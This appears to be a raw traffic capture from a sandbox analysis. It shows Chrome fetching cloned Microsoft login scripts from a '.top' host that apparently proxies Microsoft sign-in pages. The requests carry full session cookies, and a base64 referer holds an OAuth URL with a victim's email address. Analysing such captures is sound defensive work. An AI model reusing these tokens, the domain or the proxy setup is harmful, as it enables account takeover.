38	192.168.2.7	49759	138.124.184.68	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:36:59 UTC	2909	OUT	GET /aadcdn.msauth.net/~/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_0lriinjhzchre9aqecvmpg2.js HTTP/1.1 Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8JGGf9ZvZjjvjvSiRHtJq0RTOcKq8JILxc12tSPl8eEY0f30ZngdYmn0exBvZmRzT8IMFS0M7RB9glpzi2Gj72CrTFvNtjpPFFBsivvA9MjIgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8hB3TfVSisb9U1aTUNEFR0Nby2X7SXxO4jk0gMoV-R4NFq4vMDV3WSPsNeliUOO0h7WAv_UzgIIqE8pCW05u5DgzsWQENd2kwHTbGPPvvlz_nrH6sTCedJDrJlG4_W98RpKNHZVIwmyzCtMNad0TKlcd7xU1aQlBiFsH1Ulpp-TogAA; esctx-GvCT4tVQc=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8VqWonEFnvI6R6OTYyQ2XE_GvO6g0zMgePSfAR3_MnDWVieI1LWOfZqb2fV2dA2zh94qoUtd6vj5342rY4u0og-7WoZNm2MUWLs1UAe7sRPShuYZuA-O1fludV14hjL2-kSe5Em2w4qmEXtN2F7ds8SAA; fpc=AlQZcavYEAhAkPirn2lEBLeerOTJAQAAAMqZvN0OAAAA
2024-04-25 18:36:59 UTC	1390	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 18:36:59 GMT Content-Type: application/x-javascript content-length: 55037 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 02 Apr 2024 21:29:16 GMT ETag: 0x8DC535BF32A6F5D x-ms-request-id: 5a13eee1-701e-0045-7547-96b185000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240425T183659Z-1556fcfc99cmw7vl7wpsxdeh1n00000004g000000000a5r1 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-04-25 18:36:59 UTC	10	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 Data Ascii:
2024-04-25 18:37:00 UTC	15766	IN	Data Raw: dd 7d 4d 73 23 47 b2 d8 dd bf 02 8b 75 68 86 4f 3d 10 3e f8 89 11 34 06 01 70 06 4f 24 00 01 e0 50 0a 49 46 34 81 22 d8 4b a0 1b af bb 31 1c 2e 35 8e bd f9 f0 0e be da 37 1f 7c f2 d1 17 df fd 53 36 e2 f9 77 38 3f aa aa ab ba 1b 00 39 d2 d3 ee b3 42 c1 41 77 55 65 65 65 65 65 65 66 65 65 ff e1 66 ed 4f 63 2f f0 5f 8a bd 47 f5 bb 10 bc f4 f7 1e bd 9b 97 de 8f fe cf 7b a1 88 d7 a1 5f c0 df 25 f1 71 15 84 71 f4 fa 83 1b 16 e2 06 be 6a 3c ca 77 f5 c7 4f 8e 37 ab fb ce 22 70 67 62 56 ff 43 e5 d3 6b d9 54 60 d3 a9 bb 58 bc 8c 15 04 27 76 92 df c1 1e 3c 70 b3 c6 1f ca 49 c1 27 ec c6 6b 3c 6a 40 41 69 d9 10 4e 50 9a 36 3c f8 bb 6a 14 8b 4e f0 b2 bc f7 e9 e5 8f c9 30 9c c0 f1 00 f9 97 d5 3d c2 d2 6f 78 2f 2b 00 1f fe 39 d8 73 42 f8 e7 70 cf 71 1b 61 69 14 87 9e 3f Data Ascii: }Ms#GuhO=>4pO$PIF4"K1.57\|S6w8?9BAwUeeeeeefeefOc/_G{_%qqj<wO7"pgbVCkT`X'v<pI'k<j@AiNP6<jN0=ox/+9sBpqai?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.7	49761	138.124.184.68	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:37:01 UTC	2872	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/js/oneDs_641b1cf809bdc17b42ab.js HTTP/1.1 Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8JGGf9ZvZjjvjvSiRHtJq0RTOcKq8JILxc12tSPl8eEY0f30ZngdYmn0exBvZmRzT8IMFS0M7RB9glpzi2Gj72CrTFvNtjpPFFBsivvA9MjIgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8hB3TfVSisb9U1aTUNEFR0Nby2X7SXxO4jk0gMoV-R4NFq4vMDV3WSPsNeliUOO0h7WAv_UzgIIqE8pCW05u5DgzsWQENd2kwHTbGPPvvlz_nrH6sTCedJDrJlG4_W98RpKNHZVIwmyzCtMNad0TKlcd7xU1aQlBiFsH1Ulpp-TogAA; esctx-GvCT4tVQc=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8VqWonEFnvI6R6OTYyQ2XE_GvO6g0zMgePSfAR3_MnDWVieI1LWOfZqb2fV2dA2zh94qoUtd6vj5342rY4u0og-7WoZNm2MUWLs1UAe7sRPShuYZuA-O1fludV14hjL2-kSe5Em2w4qmEXtN2F7ds8SAA; fpc=AlQZcavYEAhAkPirn2lEBLeerOTJAQAAAMqZvN0OAAAA
2024-04-25 18:37:01 UTC	1386	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 18:37:01 GMT Content-Type: application/x-javascript content-length: 190151 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Thu, 27 Oct 2022 14:24:13 GMT ETag: 0x8DAB826EBE74413 x-ms-request-id: 4a2deb83-b01e-000d-0f3f-973a85000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240425T183701Z-1556fcfc99cxxsxndzupggdh1c0000000b4000000000cu38 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-04-25 18:37:01 UTC	14998	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 cc bd 69 77 db 46 b2 30 fc fd fe 0a 0a 27 57 03 8c da 34 29 2f 71 48 23 bc b2 44 db 4c b4 45 4b 9c 8c ac d1 81 c8 96 04 9b 04 18 00 94 ac 91 f8 df 9f aa ea 1d 04 28 29 c9 7d ef 7b 12 8b 40 a3 7a af ae ae ae ae c5 bf 89 93 51 7a d3 2c f8 98 4f 78 91 dd 9e dd f0 f3 69 34 fc fa 53 9e 26 d3 70 e9 d7 fb fb 93 d3 a0 39 9d e5 57 fe c9 c9 fa 29 3b 61 8c 5d cc 92 61 11 a7 89 cf 59 c1 92 e0 ce 9b e5 bc 91 17 59 3c 2c bc 6e d2 cc fc 22 60 49 73 e4 17 cc fb 35 1a cf f8 cf 50 81 c7 7c 9d 2d b8 cb 78 31 cb 92 46 d6 e4 f3 40 c3 f6 af 79 52 6c 47 05 4f 86 b7 35 e0 51 19 7c 9f 67 79 9c 63 16 5e 93 e5 dc ca 72 94 45 43 be cd af f9 b8 06 78 64 01 6f 4c a7 83 24 8f 2f af 8a 7c 33 cd aa 8b 8f 9d 16 bd 8b 72 5e 0b 6a 17 7d d6 ff 06 4d 1e f1 d1 20 Data Ascii: iwF0'W4)/qH#DLEK()}{@zQz,Oxi4S&p9W);a]aYY<,n"`Is5P\|-x1F@yRlGO5Q\|gyc^rECxdoL$/\|3r^j}M
2024-04-25 18:37:01 UTC	1386	IN	Data Raw: 0d 08 ce 9e 0b aa 1f 8b 11 3c 08 9b 78 48 97 78 46 a5 24 ab d9 bc 5e b4 ed cd 0b ab ad e8 df 24 ba fd 5b b7 2f b7 77 88 4f c2 67 46 4d 1f 0b 75 02 77 fb 58 84 c3 d5 d5 a1 d5 c7 aa bc 89 52 ee 73 55 63 12 54 51 9e 19 a5 98 4c 6c 9b aa 29 7f 81 0e 15 8b c8 b4 6e 6d b8 35 23 fc 77 92 1f 7d c2 7d 60 e9 5a 4e 05 80 55 57 16 ca 64 24 83 8f 7e c9 a2 18 6f be 60 b5 e3 f7 6b ee db cb 3a 66 b6 43 02 28 82 2d f7 ac 41 3e 33 02 d7 52 93 5d 5b 34 e4 fa 89 04 cc b0 a4 8b 56 fe 62 07 43 75 54 db 27 52 61 9c c6 98 e4 50 a6 06 44 5d 6a 06 b3 6a 82 95 ba 93 06 36 1c 95 4e f9 bb 66 f8 2c 4d 84 8f 0d 47 8a 26 24 6d ba 5f e8 23 82 5e ae 0b 25 99 5f 59 dc 77 52 b5 ef 64 61 dc 24 de 4f 1c 01 23 91 79 96 8d 51 e7 a8 6c 4b 13 34 8f 0f b6 c9 ce 5a 39 e8 80 15 a4 7c 3d 89 b6 fd 8f Data Ascii: <xHxF$^$[/wOgFMuwXRsUcTQLl)nm5#w}}`ZNUWd$~o`k:fC(-A>3R][4VbCuT'RaPD]jj6Nf,MG&$m_#^%_YwRda$O#yQlK4Z9\|=
2024-04-25 18:37:01 UTC	16384	IN	Data Raw: 95 a1 50 20 13 dc 09 ae 34 e2 7c 9d 30 c3 e4 c1 b6 9c ec e3 12 20 93 46 e3 3e 5b 03 ed 8f 67 c0 df fb 78 dd a8 ae 19 4d 00 1b f1 d1 0b 4a 7e 13 a6 94 dc 94 fe 24 50 2d cd 47 c7 3d 85 da e1 a9 62 8c 17 47 aa d5 45 78 07 f5 10 07 b4 78 d7 96 12 fa cd e1 40 53 82 00 82 12 ad ae 46 4d f9 c1 a7 c0 2f 64 02 06 d0 26 7a 72 65 91 74 91 31 d8 a2 52 17 e0 ac 82 55 04 66 ae 27 73 c2 f1 f4 4e 01 40 75 31 14 5d 18 6a c4 18 b2 35 15 0a d7 1f b2 c6 32 9c 55 a1 f8 e4 d6 c7 75 7d aa 14 55 21 35 ef fd 38 ba cc eb 7b 49 9f 4d 47 4b d0 e5 be d2 67 31 94 26 37 0c 28 1e c0 a4 59 3c 4b b5 71 c3 5c 85 c2 bd 2b ec d1 92 4d 17 61 b4 95 83 6f ef 6c 96 7c 4d d2 9b e4 cc 13 1e 9b 94 25 3b 59 f4 98 d7 35 b4 ba 8c f2 2b e1 55 59 58 bd d2 fc fe e1 bb b2 80 60 9e 8b 78 bc 40 3a 5d 23 d7 Data Ascii: P 4\|0 F>[gxMJ~$P-G=bGExx@SFM/d&zret1RUf'sN@u1]j52Uu}U!58{IMGKg1&7(Y<Kq\+Maol\|M%;Y5+UYX`x@:]#
2024-04-25 18:37:02 UTC	16384	IN	Data Raw: cc 68 6f b7 b7 64 ca dd ae 4a d9 e6 94 0f 04 97 4e a7 c2 f3 c0 0e a7 9c 5c a7 49 24 dd 09 ec 72 ca af 8c 88 09 2d 8c 1f 39 e5 34 9e a8 6a 9e 8b 84 db 42 a7 bc 10 4d 31 6e 5a 3c b6 5b a2 db 88 43 dd 12 3d 7d fb d7 30 69 b7 16 fa f8 3e ba 0a 07 54 7e cb df 9f e6 45 7a 1b a9 00 e4 6a 68 f2 b5 bd b5 69 c2 3f 35 45 44 aa 8f 69 2a f6 d3 1c ee fe 11 06 7b 48 f3 40 04 2d 47 ba a3 09 38 bc bd 8d 86 31 dc 16 6c 9b e0 50 7c 7f 9e e4 93 68 00 ab b6 21 cd b3 1c 6c 0b 77 e6 d6 26 55 73 2e 1e b6 90 b0 bb 4d 73 77 2e 1e 76 fc 37 e9 14 ca 0c bb 3e a8 0f 9a 1e 76 57 f0 dc 87 3a 00 b7 fb c2 84 90 d5 be 66 71 11 13 14 69 6f 9a 50 4f 16 3a 3e 3a a0 9e 1c 7c fc 78 fc 91 8a 7e de fb 78 74 78 f4 13 75 e5 f0 e8 ed f1 c7 0f 7b 67 87 c7 47 ed 2d 13 cc 11 ca 6d 0b 35 2b 02 4e 38 96 Data Ascii: hodJN\I$r-94jBM1nZ<[C=}0i>T~Ezjhi?5EDi*{H@-G81lP\|h!lw&Us.Msw.v7>vW:fqioPO:>:\|x~xtxu{gG-m5+N8
2024-04-25 18:37:02 UTC	11884	IN	Data Raw: e8 02 ed b7 1b 30 09 aa 8b f1 66 7d dd 87 be a5 89 29 6d ad 56 10 1e 45 fe f0 c5 b9 27 2d 54 f4 8d b9 67 48 81 d4 bd 69 12 41 b4 ab f6 4a a9 88 ba 2e f7 14 bf d4 b7 af c8 76 f5 ce 84 88 a4 94 5f fe db 53 02 7c b1 3a 29 cc e0 d4 b9 d5 53 c2 5a f1 1f e1 60 c9 b8 fe d9 5f a6 f1 1e 54 72 f7 2c d6 a6 25 92 b2 05 54 5c b4 7c f5 7c 28 37 70 f8 65 05 40 cc 2d 6c 6a bc cc 66 37 ee 9e 80 f9 cc fa e3 37 ef 09 3a dc 42 5c 16 d1 31 a2 c7 eb d1 b0 76 6c d1 e2 73 a3 67 88 37 5c 6a b0 71 e8 99 52 9f ad a4 04 19 38 94 39 82 75 69 60 e7 f4 5c 2a b4 a1 16 43 bd ad 52 4b 99 83 5a 36 cd 5a 4a ba 22 d3 d4 48 d1 25 4a 49 0a 37 39 2a 67 69 94 18 95 d1 95 a2 45 59 7e 67 31 04 91 52 b1 e0 10 44 c8 86 46 78 19 dd 79 81 ef 00 67 8c 2f 7c 47 71 b0 b5 45 aa 18 02 b8 0d 91 67 44 1e 8a Data Ascii: 0f})mVE'-TgHiAJ.v_S\|:)SZ`_Tr,%T\\|\|(7pe@-ljf77:B\1vlsg7\jqR89ui`\CRKZ6ZJ"H%JI79giEY~g1RDFxyg/\|GqEgD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.7	49762	138.124.184.68	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:37:02 UTC	2913	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_80e93b9a4cb13643afca.js HTTP/1.1 Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8JGGf9ZvZjjvjvSiRHtJq0RTOcKq8JILxc12tSPl8eEY0f30ZngdYmn0exBvZmRzT8IMFS0M7RB9glpzi2Gj72CrTFvNtjpPFFBsivvA9MjIgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8hB3TfVSisb9U1aTUNEFR0Nby2X7SXxO4jk0gMoV-R4NFq4vMDV3WSPsNeliUOO0h7WAv_UzgIIqE8pCW05u5DgzsWQENd2kwHTbGPPvvlz_nrH6sTCedJDrJlG4_W98RpKNHZVIwmyzCtMNad0TKlcd7xU1aQlBiFsH1Ulpp-TogAA; esctx-GvCT4tVQc=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8VqWonEFnvI6R6OTYyQ2XE_GvO6g0zMgePSfAR3_MnDWVieI1LWOfZqb2fV2dA2zh94qoUtd6vj5342rY4u0og-7WoZNm2MUWLs1UAe7sRPShuYZuA-O1fludV14hjL2-kSe5Em2w4qmEXtN2F7ds8SAA; fpc=AlQZcavYEAhAkPirn2lEBLeerOTJAQAAAMqZvN0OAAAA
2024-04-25 18:37:03 UTC	1386	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 18:37:03 GMT Content-Type: application/x-javascript content-length: 109863 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Thu, 26 Jan 2023 00:32:54 GMT ETag: 0x8DAFF34DD9DC630 x-ms-request-id: 9e3ca3e6-d01e-000b-293f-97c089000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240425T183702Z-1556fcfc99cmw7vl7wpsxdeh1n00000004n0000000000vp2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-04-25 18:37:03 UTC	14998	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 6b 7b db c8 91 30 fa 7d 7f 05 c5 93 68 00 13 a4 48 ea 6a 92 10 d7 e3 f1 64 bd c7 63 fb b5 3d d9 37 af cc f8 81 c8 a6 84 31 04 30 b8 d8 56 44 ee 6f 3f 55 d5 77 a0 49 c9 1e 27 9b 73 4e 9e 8c 45 34 1a 7d a9 ae ae ae aa ae cb c1 a3 bd 7f 6b 3d 6a 75 1f fe bf d6 db 77 4f de bc 6b bd fa b9 f5 ee 3f 9e bf f9 a9 f5 1a 9e fe d2 7a f9 ea dd f3 a7 cf 1e de 0e 76 8a ff bd bb 8e 8b d6 32 4e 58 0b fe 5e 46 05 5b b4 b2 b4 95 e5 ad 38 9d 67 f9 2a cb a3 92 15 ad 1b f8 37 8f a3 a4 b5 cc b3 9b 56 79 cd 5a ab 3c fb 8d cd cb a2 95 c4 45 09 1f 5d b2 24 fb dc f2 a0 b9 7c d1 7a 1d e5 